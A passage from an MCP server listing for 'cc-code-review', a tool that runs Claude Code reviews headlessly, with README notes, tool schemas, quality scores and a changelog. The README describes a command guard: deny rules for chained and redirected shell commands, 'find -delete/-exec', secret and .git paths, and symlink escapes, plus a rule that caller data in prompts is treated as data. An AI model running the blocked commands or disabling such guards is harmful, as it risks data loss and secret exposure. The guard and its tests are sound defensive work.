| ~/.claude | skill 的安装/查找根(进程环境与 |
| - | 测试覆盖:直接指定 skill 目录,优先于上者 |
|
|
|
| - | 设 |
|
| 运行日志目录(日志含被审代码引用;Windows 上无 POSIX 权限位,可指向自有 ACL 的目录) |
提示:若宿主环境残留 ANTHROPIC_API_KEY 等认证变量但 settings.json 未管理它们,可能与 CC Switch 冲突(claude_review_env 会告警);网关用户可在 ~/.claude/settings.json 加 CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" 减少非必要流量。
成本与时长
每次真实 review 消耗 Claude 额度(走你的订阅/网关)。默认 effort=max:10 个 finder + 每个存活候选 1 个 verifier + 1 个 sweep(实测 17 个子代理、$5.7、约 23 分钟;并行度受网关并发上限影响,实测 17 个并发时 5 个失败);显式
effort: "low"走内置单遍,约 $0.1–3。默认不设费用上限(maxBudgetUsd: 0),由timeoutMinutes兜底。增量捕获:每个评审子代理一完成就立刻追加进
%TEMP%/cc-code-review/subagents-*.jsonl(一行一个),并可通过claude_review_status在运行中轮询拿到——原生 skill 要等全部子代理跑完才出报告,而 429/超时/取消随时可能打断;被打断时已完成的报告随错误一起返回。429 抢救:被限流/额度耗尽打死的子代理,其工作会从启动确认里的
output_file转录尾部恢复(标记partial (output_file)),已花的 token 不白扔。claude_review_env与版本/flag 探测免费(结果有缓存)。
用法示例(任意 MCP 客户端)
重启宿主(ZCode / Claude Code / Cursor 等)后直接说,例如:
用 cc-code-review MCP 对 C:\path\to\repo 的未提交改动跑一轮 code review(effort 用 max),然后根据 findings 修复,修完再复核一遍。
测试 / 维护
npm install
npm test # 跑全部免费套件并统一汇总(shell-guard 327 + 审计修复 318 + P0 回归 256 + validation 31 + plugin 45 + pack 52 + smoke + cross-cases 156/156),任一失败即非零退出
npm run init # 环境自检 + 按本机写入 ZCode 注册(免费)
node scripts/validation-test.mjs # 全部输入校验路径(免费,不发 API 请求)
node scripts/plugin-test.mjs # Agent Plugins 一致性:plugin.json / mcp.json / skills/(免费、离线)
node scripts/cross-cases.mjs # 27 个 MECE 用例(默认免费跑 26 个、156 项检查;含 ultracode/workflow + 舰队缩放、取消后保留已完成报告、误判 ack 被 notification 纠正等端到端;含桩 claude 的免费异步生命周期 + 子代理报告/模型溯源端到端;C9 付费需 CC_LOOP_PAID=1)
node scripts/paid-smoke.mjs [--cap=2] # 真实 CLI 端到端 smoke:带三个已知 bug 的临时仓库,effort/reviewLevel=low,默认不设费用上限(计费,实测约 $0.5)
node scripts/e2e-test.mjs <repoPath> [json] # 真实 review(计费)
node scripts/followup-e2e.mjs <repoPath> <sessionId> # 真实 followup(计费)
node scripts/cancel-test.mjs <repoPath> # 取消后进程树是否被立刻杀掉(计费,几美分)validation-test.mjs 覆盖:相对 repoPath 拒绝、恶意 pr(含前导 -)拒绝、outputLanguage 超 20 字/句末标点/多行拒绝、focus 含换行或制表符拒绝、followup 消息超 100000 字拒绝、claude_review_status 无 jobId 的 cancel 拒绝、空仓库拒绝、非 git 目录拒绝、maxBudgetUsd=0 被 schema 接受、baseRef 以 - 开头拒绝、focus 含控制字符/超长拒绝、guard 未生效时两个工具都 fail-closed 拒跑、以及 CLAUDE_REVIEW_ALLOW_UNGUARDED=1 的显式解锁。全部在付费调用之前返回——唯一例外是"clean repo 通过 preflight"这条(它会真的发起一次有预算上限的付费 run),默认跳过,设 CC_REVIEW_ALLOW_PAID_PROBE=1 才执行。
shell-guard-test.mjs 覆盖:链式/重定向/替换命令必须拦、find -delete/-exec/-fprintf 与 rg --pre 必须拦而普通 find/rg 读取必须放行、git log --format="%h; %s" 这类引号内分隔符必须放行、引号不配对 fail-closed、hook 进程的 stdin→deny 契约、Edit/Write/Read 的仓库边界与 .git//密钥路径拦截、仓库内 junction/软链接逃逸(realpath 边界),以及一次真实 review 的 17 条命令回放(确认被拦的命令不会被误报成"逃逸")。
plugin-test.mjs 覆盖可移植的 Agent Plugins 表面:plugin.json(closed schema、canonical $schema、name/version/license 约束)、mcp.json(closed 顶层、与 plugin.json 同版本、stdio variant 规则、保留 env 名、cwd 形式)以及 skills/*/SKILL.md(Agent Skills frontmatter、name 与目录名一致、description 长度、正文行数、报告合同存在)。离线运行,不拉取远程 schema。
audit-fixes-test.mjs 覆盖三轮独立审计的每条修复:deny 列表覆盖面与"同一规则同时出现在 allow/deny 里变成死规则"的冲突、allow 规则被 deny 规则前缀遮蔽(Bash(git remote -v) vs Bash(git remote:*),真实 review 发现的)、postToPR 授权不是死代码、版本比较(含预发布号)、git hardening 的 -c 参数、repoRunsGitPrograms 的精确性(fsmonitor 布尔不误伤、LFS 全局驱动不误伤、[include] 链与 .gitattributes↔config 交叉核对都查得出)、hook 的 git --output= 规则、提示词里 caller 数据只能是数据,以及一次真实 review 的命令回放(allowlist 与 deny 两侧都要放行)。
改 src/shell-guard.js 的正则前必须跑 npm test:那行正则的注释和模块 docstring 说明了它为什么必须包含 | 与 &(前缀匹配绕权),单看代码很容易误以为在降低误报率。
已实测通过的回归项(Windows / npm 全局安装 / CC Switch 本地网关,无账号登录):manual 模式下完整 review(中文报告、按当时的 ≥80 规则把自标 BUG 评成 CRITICAL/MAJOR(现行为 ≥75)、低分项正确降级到 Notes)、scope=branch + baseRef(git log main..HEAD / git diff main...HEAD,permission_denials=0、guard 拦下 0 条)、fix 模式落盘且未 commit、.git/ 未动、followup 用返回的 session_id 续上同一会话。更早一轮还验证过:带恶意 .claude/settings.json 的仓库不再执行仓库控制的 hook、取消后 2 秒内进程树清零。
运行日志:系统临时目录下的
cc-code-review/run-*.log(Windows 即%TEMP%\cc-code-review;保留 20 份;guard 临时文件与 git 沙箱 HOME 同目录,进程退出时清理,陈旧残留由下一次运行自动清扫)。从 v1.5.0 及更早版本升级(旧名 claude-review-mcp):旧日志目录
%TEMP%\claude-review-mcp不会被新版本触碰或删除,如含敏感引用请手动删除。卸载:删除 ZCode 配置里的
cc-code-review条目;移除 skill 删~/.claude/skills/code-review。
授权与致谢
本项目以 MIT 协议开源。
内置的 code-review skill(
skills/code-review/SKILL.md)改编自 Anthropic 官方的 code-review 插件管线(由 5 个 brief 驱动的 8/10 个并行 finder + 置信度过滤),在此基础上适配了 headless 调用、只读边界,并改写为与 harness 无关的 Agent Skill。感谢 Claude Code 团队与 CC Switch / claude-code-router 等网关项目,让"无账号登录也能跑 review"成为可能。
安全模型经过多轮独立交叉审计(Windows / macOS / 认证网关 / 安装形态 / 回归五个视角),详见上文与 SECURITY.md。发现漏洞请走私有通告,不要开公开 Issue。
Available Tools
4 toolsclaude_code_reviewRun Claude Code ReviewADestructive
Run Claude Code's code-review skill (a diff-sized fleet of parallel reviewer subagents, 0-100 confidence scoring, keeps findings >=75). Every finished reviewer subagent's report is captured the moment it lands — appended to a durable JSONL file and visible via claude_review_status while the run continues — and an agent killed mid-flight (e.g. a 429) is recovered from its output_file transcript, so a rate limit never wastes the work already paid for. on a repository and return the markdown report. Costs Claude API credits; a run typically takes 2-15 minutes. Afterwards, fix the code and re-run to verify, or use claude_review_followup with the returned session_id.
| Name | Required | Description | Default |
|---|---|---|---|
| pr | No | GitHub PR number or URL, e.g. "123" or "owner/repo#123" (for scope=pr, or as first choice in auto) | |
| fix | No | Fix mode: after the report, Claude Code edits the repo files to fix the confirmed findings (Edit only, no git commands, no commit; .git and secret paths are deny-listed). Adds a '## Fixes Applied' section. | |
| focus | No | Extra review focus or instructions, e.g. '重点看并发安全' | |
| model | No | Claude model override (passed as --model) | |
| scope | No | auto: PR if pr given / branch ahead of baseRef (when given) or the default branch / working-dir changes / last commit | auto |
| effort | No | Review effort / reasoning level, same scale as Claude Code (--effort): low..max. Default max = exhaustive deep review (slower and pricier). Omit for the deepest default; pass low/medium for a fast, cheap pass. | max |
| baseRef | No | Base branch/tag for scope=branch and for scope=auto's branch step (default: auto-detect the default branch). A validated ref always reaches the reviewer — it is never silently dropped. | |
| maxTurns | No | Agentic turn cap for the review session | |
| pipeline | No | Which review engine runs. auto (default): claude's built-in /code-review command for levels low..high — it needs no file on disk; fix runs ride its own --fix flag. max (including effort=xhigh), scope=last-commit with no parent commit, and a shadowing code-review skill use the fleet pipeline. Only max uses the MCP's own fleet pipeline, because the built-in hands max to subagents whose exploration commands the locked-down permission mode denies. native: force the built-in command (refused when a same-named skill in the Claude config dir shadows it). fleet: force the fleet pipeline (its instructions travel in the prompt; nothing is installed). skill: legacy — use/optionally install the bundled skill (the only mode that may write to disk). | auto |
| postToPR | No | Also post the summary comment to a GitHub PR via gh. Requires a fully-qualified pr — "owner/repo#123" or a GitHub PR URL; a bare number is refused because gh would resolve it against the reviewed repository's remote (default false — report only). | |
| repoPath | Yes | Absolute path to the git repository to review (the review runs with cwd=repoPath; ~/ prefix allowed) | |
| ultracode | No | Enable claude's Ultracode mode for this run (the `ultracode` settings key): standing dynamic-workflow orchestration — every substantive step goes through the native Workflow tool, multi-agent and token-cost-no-object. Orthogonal to effort (any effort level). Requires a claude CLI that supports the key; older builds ignore it (see workflowRuns in the result). | |
| reviewLevel | No | The REVIEW's own depth level — the same argument claude's native /code-review command takes. The fleet has the same three-phase structure as the native playbook (finder -> one verifier per surviving candidate -> sweep), with these numbers (rendered from FLEET_NUMBERS in src/prompt.js): low = one pass, no subagents (<= 4 findings); medium/high = 8 finders (3 extra finders split briefs on top of the 5 briefs) x up to 6 candidates, findings capped at 8; max = 10 finders (every brief split) x up to 8 candidates + one verifier per surviving candidate + 1 sweep finder, findings capped at 15; at most 20 candidates reach verification. Defaults to a mapping of effort (max/xhigh->max, high->high, medium->medium, low->low). Separate knob from the CLI reasoning effort and from ultracode. | |
| maxBudgetUsd | No | API spend cap via --max-budget-usd. DEFAULT 0 = NO CAP at any effort level: a cap stops the parent before it synthesizes, and every finished subagent report is already captured incrementally (and recovered from output_file), so a 429/token exhaustion no longer wastes it. The wall-clock timeout (timeoutMinutes) is the guard. Set a number only if you want a hard spend stop; env CLAUDE_REVIEW_MAX_BUDGET_USD sets the DEFAULT for this argument (an explicit value here always wins). On third-party gateways this depends on usage data the gateway returns. | |
| waitForResult | No | Block until the review finishes and return the report synchronously (2-15 min). Default false: returns a jobId after a fast preflight — poll claude_review_status(jobId). Only set true if your MCP client has no ~30s tool-call timeout. | |
| outputLanguage | No | Language for the report, e.g. "中文" or "English" | 中文 |
| timeoutMinutes | No | Hard wall-clock timeout for the run — with no spend cap by default this is the guard; every finished subagent report is kept even when it fires | |
| installSkillIfMissing | No | Only meaningful with pipeline=skill: when the bundled skill is MISSING, install it into the Claude config dir (default false — a missing skill degrades to the inline fleet pipeline instead; a MANAGED existing copy is refreshed whenever it is about to be used; a user-managed copy is never touched). env CLAUDE_REVIEW_AUTO_INSTALL_SKILL=1 sets the default |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations declare destructiveHint=true, readOnlyHint=false and openWorldHint=true, and the description is consistent with that, disclosing that fix mode edits repo files and pipeline=skill may write to disk. Beyond the annotations it adds genuinely useful behavior: API credit cost, a 2-15 minute runtime, incremental capture of each finished subagent report to a durable JSONL file, recovery of killed agents from output_file transcripts, and the default no-spend-cap with timeoutMinutes as the guard.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The cost and duration facts are front-loaded, which is good, but the opening sentence is a long em-dash-heavy run-on and the clause 'on a repository and return the markdown report' is grammatically detached from its subject, forcing a re-read. The content earns its place, but the structure is denser than it needs to be.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For an 18-parameter, no-output-schema tool, the description covers the essentials an agent needs before calling: cost, expected duration, the async jobId/polling model, and the follow-up path. It does not explain the return payload shape, though the mention of session_id and the markdown report partially compensates.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so every one of the 18 parameters is already documented in the schema, which sets the baseline at 3. The description adds surrounding context (cost, duration, session_id return) but no parameter-level detail beyond what the schema already states, so it does not exceed the baseline.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description names a specific verb and resource ('Run Claude Code's code-review skill') and immediately characterizes the mechanism (parallel reviewer subagents, 0-100 confidence scoring, findings >=75). It also names the sibling tools claude_review_status and claude_review_followup, so an agent can distinguish this entry point from the polling and follow-up tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
It gives clear usage context: run on a repository, then 'fix the code and re-run to verify, or use claude_review_followup with the returned session_id', and it points to claude_review_status for polling when waitForResult is false. It stops short of explicit when-not-to-use guidance or a full routing rule among the four siblings, so it is clear but not exhaustive.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
claude_review_envCheck Claude Code Review EnvironmentA
Check the Claude Code CLI installation, the code-review skill, the auth/gateway setup, and helper tools (git/gh). Set installSkill=true to (re)install the bundled code-review skill into ~/.claude/skills/code-review (never overwrites a user-managed skill there). Diagnostic contract: the verdict (OK / NOT_FOUND / MISCONFIGURED) is reported in the text and in structuredContent; isError is reserved for a failure of this diagnostic itself.
| Name | Required | Description | Default |
|---|---|---|---|
| installSkill | No | ||
| uninstallSkill | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description goes well beyond the annotations by disclosing the exact filesystem side effect (~/.claude/skills/code-review) and the safety guarantee that a user-managed skill is never overwritten. It also documents the diagnostic contract: verdict values live in text and structuredContent, and isError is reserved for a failure of the diagnostic itself, which prevents an agent from misreading a NOT_FOUND verdict as a tool error.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two dense, front-loaded sentences: capability scope first, then the mutation flag, then the result contract. Every clause adds information an agent would otherwise have to guess.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With no output schema and no parameter descriptions, the description does the heavy lifting well: it enumerates the verdict vocabulary, states where results appear, and defines isError semantics. The only real omission is the uninstallSkill parameter and how it interacts with installSkill.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 0%, so the description must carry the parameter burden, and it explains installSkill thoroughly (reinstall semantics, target path, non-overwrite rule). However, uninstallSkill is never mentioned at all, and the interaction between the two booleans (mutual exclusion, precedence) is left unspecified.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description names a specific verb-plus-resource set: it checks the Claude Code CLI, the code-review skill, auth/gateway setup, and git/gh helpers. That is clearly a pre-flight diagnostic, which separates it in spirit from the review-execution siblings. It never explicitly contrasts itself with claude_review_status, so the differentiation is inferred rather than stated.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Usage is only implied: an agent can infer this runs before a review, and the description does specify the installSkill=true behavior. There is no explicit statement of when to call this versus claude_review_status or claude_code_review, and no guidance on when a diagnostic check is unnecessary.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
claude_review_followupFollow Up on a ReviewA
Continue the conversation of a previous claude_code_review run (same reviewer context, e.g. '为什么第 2 条是问题?' or 're-check after my fix'). Pass the session_id returned by claude_code_review. Async by default (returns a jobId after a fast preflight; poll claude_review_status) — waitForResult=true blocks synchronously.
| Name | Required | Description | Default |
|---|---|---|---|
| model | No | ||
| message | Yes | Question or instruction for the reviewer (max 100000 chars) | |
| repoPath | Yes | Absolute path of the repo the original review ran in (~/ prefix allowed) | |
| sessionId | Yes | session_id returned by a previous claude_code_review / claude_review_followup call | |
| maxBudgetUsd | No | API spend cap via --max-budget-usd. Default 0 = NO CAP (same policy as claude_code_review); the timeoutMinutes guard applies. A followup has no subagent fleet, so its typical spend is small. | |
| waitForResult | No | Block synchronously for the reply. Default false: returns a jobId after a fast preflight (poll claude_review_status) — use that with clients that cut tool calls at ~30s. | |
| outputLanguage | No | 中文 | |
| timeoutMinutes | No | Hard wall-clock timeout for this followup turn, in minutes (default 10 — a followup is a Q&A turn, not a full review). |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Adds real behavior beyond annotations: async-by-default with a fast preflight returning a jobId, synchronous blocking via waitForResult, and the reason (clients that cut tool calls at ~30s). One gap: it doesn't say that each call appends a turn to the same session (non-idempotent), which matters given idempotentHint=false.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Front-loaded with purpose, then the required sessionId, then the async/sync contract in one compact sentence. Dense parentheticals and the 'fast preflight' shorthand make it slightly compressed, but no sentence is wasted.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Covers the prerequisites, the async-vs-blocking contract, and the polling sibling for an 8-parameter async tool with no output schema. It does not say what a followup reply looks like (plain reviewer text vs. structured finding), which is the only meaningful omission.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 75% and already documents sessionId, message, repoPath, waitForResult and timeouts; the description still adds value by naming the source of sessionId and giving example messages. The 0-means-no-cap budget policy lives only in the schema, so the description adds little there but nothing is lost.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Specific verb+resource ('continue the conversation of a previous claude_code_review run') with a parenthetical clarifying it preserves reviewer context. It is clearly distinguishable from claude_code_review (starts a review) and claude_review_status (polls a job).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
States the prerequisite (pass the session_id returned by claude_code_review) and routes polling to claude_review_status, plus the waitForResult=true synchronous alternative. Missing an explicit inverse ('use claude_code_review to start a new review, not this'), but the alternative routing is strong.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
claude_review_statusCheck Review Job StatusARead-onlyIdempotent
Poll a background review started by claude_code_review (real reviews take 2-15 minutes, so the async call returns a jobId). With jobId: returns elapsed time while running, or the full report/result when finished. With cancel=true: aborts the run and stops billing (requires a jobId). Without jobId: lists this server process's jobs. Retention: the 10 most recent finished jobs are kept in this server process; a restart clears them all.
| Name | Required | Description | Default |
|---|---|---|---|
| jobId | No | The jobId returned by claude_code_review | |
| cancel | No | Abort the running job (kills the claude process tree, stops billing). Requires a jobId. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Goes well beyond the annotations: discloses the 2-15 minute runtime, that cancel stops billing and kills the process tree, and the retention policy (10 most recent finished jobs, cleared on restart, process-scoped). These are exactly the behavioral facts an agent cannot infer from readOnlyHint/idempotentHint. Note the cancel path is a state-changing side effect that readOnlyHint doesn't capture, but the description discloses it accurately rather than contradicting it.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Front-loaded with the core purpose, then three mode clauses and a retention note in four dense sentences with no filler or redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema exists, and the description compensates fully by describing what each mode returns: elapsed time while running, the full report when finished, and a job list without a jobId. Retention and lifecycle limits are also covered, so nothing needed to call this correctly is missing.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline would be 3, but the description adds real meaning: it explains that jobId comes from claude_code_review and that its absence switches the tool into list mode, plus the cancel-without-jobId failure condition. That is semantic behavior the schema alone does not convey.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
States a specific verb and resource — poll a background review job's status — and explicitly ties itself to the sibling that creates the job (claude_code_review). An agent can immediately distinguish this from claude_review_env and claude_review_followup.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Enumerates all three calling modes with their preconditions: jobId to poll, cancel=true (requires a jobId) to abort, and no jobId to list jobs. It also gives the timing rationale (2-15 minute reviews) that explains why polling is the correct pattern rather than blocking.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
4 tool updates
v1.18.9- Changed
claude_code_review14 fields changed- changed
Input schema / properties / baseRef / descriptionPrevious value: -"Base branch/tag for scope=branch (default: auto-detect the default branch)"New value: +"Base branch/tag for scope=branch and for scope=auto's branch step (default: auto-detect the default branch). A validated ref always reaches the reviewer — it is never silently dropped." - changed
Input schema / properties / effort / defaultPrevious value: -"high"New value: +"max" - changed
Input schema / properties / effort / descriptionPrevious value: -"Review effort / reasoning level, same scale as Claude Code (--effort): low..max. max/xhigh = exhaustive deep review, slower and pricier."New value: +"Review effort / reasoning level, same scale as Claude Code (--effort): low..max. Default max = exhaustive deep review (slower and pricier). Omit for the deepest default; pass low/medium for a fast, cheap pass." - changed
Input schema / properties / installSkillIfMissing / defaultPrevious value: -trueNew value: +false - changed
Input schema / properties / installSkillIfMissing / descriptionPrevious value: -"Auto-install the bundled code-review skill into ~/.claude/skills when missing (default true)"New value: +"Only meaningful with pipeline=skill: when the bundled skill is MISSING, install it into the Claude config dir (default false — a missing skill degrades to the inline fleet pipeline instead; a MANAGED existing copy is refreshed whenever it is about to be used; a user-managed copy is never touched). env CLAUDE_REVIEW_AUTO_INSTALL_SKILL=1 sets the default" - changed
Input schema / properties / maxBudgetUsd / descriptionPrevious value: -"API spend cap for this run via --max-budget-usd (default 5); 0 disables. On third-party gateways this depends on usage data the gateway returns."New value: +"API spend cap via --max-budget-usd. DEFAULT 0 = NO CAP at any effort level: a cap stops the parent before it synthesizes, and every finished subagent report is already captured incrementally (and recovered from output_file), so a 429/token exhaustion no longer wastes it. The wall-clock timeout (timeoutMinutes) is the guard. Set a number only if you want a hard spend stop; env CLAUDE_REVIEW_MAX_BUDGET_USD sets the DEFAULT for this argument (an explicit value here always wins). On third-party gateways this depends on usage data the gateway returns." - added
Input schema / properties / pipelineAdded value: +{ + "default": "auto", + "description": "Which review engine runs. auto (default): claude's built-in /code-review command for levels low..high — it needs no file on disk; fix runs ride its own --fix flag. max (including effort=xhigh), scope=last-commit with no parent commit, and a shadowing code-review skill use the fleet pipeline. Only max uses the MCP's own fleet pipeline, because the built-in hands max to subagents whose exploration commands the locked-down permission mode denies. native: force the built-in command (refused when a same-named skill in the Claude config dir shadows it). fleet: force the fleet pipeline (its instructions travel in the prompt; nothing is installed). skill: legacy — use/optionally install the bundled skill (the only mode that may write to disk).", + "enum": [ + "auto", + "native", + "fleet", + "skill" + ], + "type": "string" +} - changed
Input schema / properties / postToPR / descriptionPrevious value: -"Also post the summary comment to the GitHub PR via gh (default false — report only)"New value: +"Also post the summary comment to a GitHub PR via gh. Requires a fully-qualified pr — \"owner/repo#123\" or a GitHub PR URL; a bare number is refused because gh would resolve it against the reviewed repository's remote (default false — report only)." - added
Input schema / properties / reviewLevelAdded value: +{ + "description": "The REVIEW's own depth level — the same argument claude's native /code-review command takes. The fleet has the same three-phase structure as the native playbook (finder -> one verifier per surviving candidate -> sweep), with these numbers (rendered from FLEET_NUMBERS in src/prompt.js): low = one pass, no subagents (<= 4 findings); medium/high = 8 finders (3 extra finders split briefs on top of the 5 briefs) x up to 6 candidates, findings capped at 8; max = 10 finders (every brief split) x up to 8 candidates + one verifier per surviving candidate + 1 sweep finder, findings capped at 15; at most 20 candidates reach verification. Defaults to a mapping of effort (max/xhigh->max, high->high, medium->medium, low->low). Separate knob from the CLI reasoning effort and from ultracode.", + "enum": [ + "low", + "medium", + "high", + "max" + ], + "type": "string" +} - changed
Input schema / properties / scope / descriptionPrevious value: -"auto: PR if pr given / branch ahead of default / working-dir changes / last commit"New value: +"auto: PR if pr given / branch ahead of baseRef (when given) or the default branch / working-dir changes / last commit" - changed
Input schema / properties / timeoutMinutes / defaultPrevious value: -20New value: +30 - changed
Input schema / properties / timeoutMinutes / descriptionPrevious value: -"Hard wall-clock timeout for the run"New value: +"Hard wall-clock timeout for the run — with no spend cap by default this is the guard; every finished subagent report is kept even when it fires" - added
Input schema / properties / ultracodeAdded value: +{ + "default": false, + "description": "Enable claude's Ultracode mode for this run (the `ultracode` settings key): standing dynamic-workflow orchestration — every substantive step goes through the native Workflow tool, multi-agent and token-cost-no-object. Orthogonal to effort (any effort level). Requires a claude CLI that supports the key; older builds ignore it (see workflowRuns in the result).", + "type": "boolean" +} - changed
Input schema / properties / waitForResult / descriptionPrevious value: -"Block until the review finishes and return the report synchronously (2-15 min). Default false: returns a jobId at once — poll claude_review_status(jobId). Only set true if your MCP client has no ~30s tool-call timeout."New value: +"Block until the review finishes and return the report synchronously (2-15 min). Default false: returns a jobId after a fast preflight — poll claude_review_status(jobId). Only set true if your MCP client has no ~30s tool-call timeout."
- Changed
claude_review_env1 field changed- added
Input schema / properties / uninstallSkillAdded value: +{ + "default": false, + "type": "boolean" +}
- Changed
claude_review_followup5 fields changed- added
Input schema / properties / maxBudgetUsd / descriptionAdded value: +"API spend cap via --max-budget-usd. Default 0 = NO CAP (same policy as claude_code_review); the timeoutMinutes guard applies. A followup has no subagent fleet, so its typical spend is small." - changed
Input schema / properties / message / descriptionPrevious value: -"Question or instruction for the reviewer"New value: +"Question or instruction for the reviewer (max 100000 chars)" - added
Input schema / properties / message / maxLengthAdded value: +100000 - added
Input schema / properties / timeoutMinutes / descriptionAdded value: +"Hard wall-clock timeout for this followup turn, in minutes (default 10 — a followup is a Q&A turn, not a full review)." - changed
Input schema / properties / waitForResult / descriptionPrevious value: -"Block synchronously for the reply. Default false: returns a jobId at once (poll claude_review_status) — use that with clients that cut tool calls at ~30s."New value: +"Block synchronously for the reply. Default false: returns a jobId after a fast preflight (poll claude_review_status) — use that with clients that cut tool calls at ~30s."
- Changed
claude_review_status1 field changed- changed
Input schema / properties / cancel / descriptionPrevious value: -"Abort the running job (kills the claude process tree, stops billing)"New value: +"Abort the running job (kills the claude process tree, stops billing). Requires a jobId."
1 tool update
v1.9.2- Changed
claude_review_followup1 field changed- added
Input schema / properties / waitForResultAdded value: +{ + "default": false, + "description": "Block synchronously for the reply. Default false: returns a jobId at once (poll claude_review_status) — use that with clients that cut tool calls at ~30s.", + "type": "boolean" +}
2 tool updates
v1.8.2- Changed
claude_code_review1 field changed- added
Input schema / properties / waitForResultAdded value: +{ + "default": false, + "description": "Block until the review finishes and return the report synchronously (2-15 min). Default false: returns a jobId at once — poll claude_review_status(jobId). Only set true if your MCP client has no ~30s tool-call timeout.", + "type": "boolean" +}
- Added
claude_review_status
3 tool updates
v1.6.0- First observed
claude_code_review - First observed
claude_review_env - First observed
claude_review_followup
TDQS
Scored across 4 tools
Each tool covers a distinct phase of a single workflow: environment/diagnostic setup, launching a review, polling/cancelling a job, and continuing a prior session. The only potential overlap (claude_code_review vs claude_review_followup) is clearly separated by 'start new run' vs 'pass session_id to continue'. Descriptions explicitly disambiguate async vs sync behavior.
All names share a claude_ prefix and a noun-action feel (review_env, code_review, review_status, review_followup), making the family obvious. Minor deviation: claude_code_review inserts 'code' where others use claude_review_*, so the prefix isn't perfectly uniform.
Four tools is a tight, well-scoped surface for a code-review runner: setup check, run, monitor, follow-up. Each tool maps to a necessary step and none feels redundant or missing for the stated purpose.
The lifecycle is essentially covered: diagnose/install skill, run review, poll/cancel, and follow up with the same reviewer context. Minor gaps: no dedicated tool to retrieve or list past reports/JSONL transcripts, and no explicit way to configure review parameters (scope, thresholds) beyond defaults.
Maintenance
Related MCP Connectors
AI code review for GitHub PRs with an MCP autofix loop for Claude Code and Cursor
Team memory for AI coding agents and code reviews, reviewed by humans and served over MCP.
Paid remote MCP for Claude Code skill update gate MCP, structured receipts, audit logs, and reviewer
Multi-model code review: a panel of models + detectors return a pass/fail verdict. Paid via x402.
Related MCP Servers
- AlicenseAqualityCmaintenanceEnables multi-model code review by fanning out issues to multiple LLMs simultaneously, diffing their unique insights, optionally running debate rounds, and dispatching subagents to implement fixes with git commits.72MIT
- AlicenseAqualityDmaintenanceWraps Claude Code as tools for MCP clients, enabling autonomous coding tasks via a 4-tool lifecycle with session management, async polling, and permission controls.473 npm21MIT
- AlicenseAqualityDmaintenanceProvides MCP tools to review git changes using OpenAI Codex CLI, enabling code review of unstaged, staged, or last-commit changes.39 npmMIT
- AlicenseNot gradedqualityDmaintenanceDelegates coding tasks to the local Claude Code CLI via MCP, offering run, review, and status tools for MCP-compatible agents.22 npmMIT